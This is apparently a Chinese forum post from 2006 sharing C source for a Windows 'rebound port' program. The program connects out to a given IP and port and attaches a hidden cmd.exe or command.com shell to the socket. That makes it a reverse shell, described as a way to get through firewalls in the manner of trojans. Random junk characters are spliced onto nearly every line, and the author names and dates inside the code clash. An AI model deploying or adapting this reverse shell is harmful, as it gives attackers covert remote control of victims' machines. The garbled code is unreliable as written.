这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wd*8w$\
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/* ============================== @a2n{
Rebound port in Windows NT djJD'JL
By wind,2006/7 ?_)b[-N!
===============================*/ V,:^@ 7d
#include Tq{+9+
#include dZ}gf}.v
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#pragma comment(lib,"wsock32.lib") 9'+Eu)l:
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void OutputShell(); 3+vbA;R
SOCKET sClient; N$]B$vv
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ehCGu(=
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void main(int argc,char **argv) xe?!UCUb@
{ VF[$hs
WSADATA stWsaData; -([
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int nRet; !jlLF:v|1A
SOCKADDR_IN stSaiClient,stSaiServer; %PA#x36
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if(argc != 3) E$l 4v>iA
{ #C^)W/dP
printf("Useage:\n\rRebound DestIP DestPort\n"); ^f6pw!
return; ov;1=M~RF
} mD@*vq
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WSAStartup(MAKEWORD(2,2),&stWsaData); wT\JA4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "3 Y(uN
wr);+.T9R
stSaiClient.sin_family = AF_INET; oP>+2.i
stSaiClient.sin_port = htons(0); $fifx>!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -YvnX0j+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x -;tV=E}
{ FK;3atrz
printf("Bind Socket Failed!\n"); ,GOH8h
return; w{F{7X$^
} |ppG*ee
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stSaiServer.sin_family = AF_INET; RfoEHN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j-]`;&L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7pPaHX8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9-:\ NH^;
{ [vv $"$z
printf("Connect Error!"); 7:/gO~gI
return; <|-da&7
} '#<4oW\]
OutputShell(); kg&R
} tzIcR
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void OutputShell() w?#s)z4}g
{ Cb}I-GtO
char szBuff[1024]; N!~O~Eo3
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; deLLqdZa
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w'uB&z4'
STARTUPINFO stStartupInfo; +H{TV#+r
char *szShell; q4MR9ig1E_
PROCESS_INFORMATION stProcessInformation; ^(F@ #zN}
unsigned long lBytesRead; 76oJCNY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [&(~{#}M:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WUBI(g\
stSecurityAttributes.lpSecurityDescriptor = 0; :+ZLKm
stSecurityAttributes.bInheritHandle = TRUE; ~a$h\F'6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _DouVv>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q{[l1:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G!T_X*^q2U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =\`iC6xP}
stStartupInfo.wShowWindow = SW_HIDE; /@ww"dmqU
stStartupInfo.hStdInput = hReadPipe; y5{Vx{V"Q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m?O~(6k@C
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GetVersionEx(&stOsversionInfo); n58yR -"
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switch(stOsversionInfo.dwPlatformId) Ce/l[v
{ 8bJj3vr
case 1: %*
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szShell = "command.com"; zq(4@S-TU
break; *^oL$_Y
default: 4`e[gvh
szShell = "cmd.exe"; q6'Q-e)
break; !8e;3W
} :%-w/QwTR
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g@2KnzD
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send(sClient,szMsg,77,0); 9?iA~r|+
while(1) 5szJ.!(
{ \
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6H1;Hl
f
if(lBytesRead) F| jl=i
{ l*.u rG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KCIya[$*
send(sClient,szBuff,lBytesRead,0); Y&<]:)
} \RqH"HqD
else 72CHyl`|l
{ t6uYFxE
lBytesRead=recv(sClient,szBuff,1024,0); [ $5u:*
if(lBytesRead<=0) break; 'NMO>[.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O9P+S|hcY
} {'p <
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} HLkI?mW<
p#%*z~ui
return; n)0M1o#
}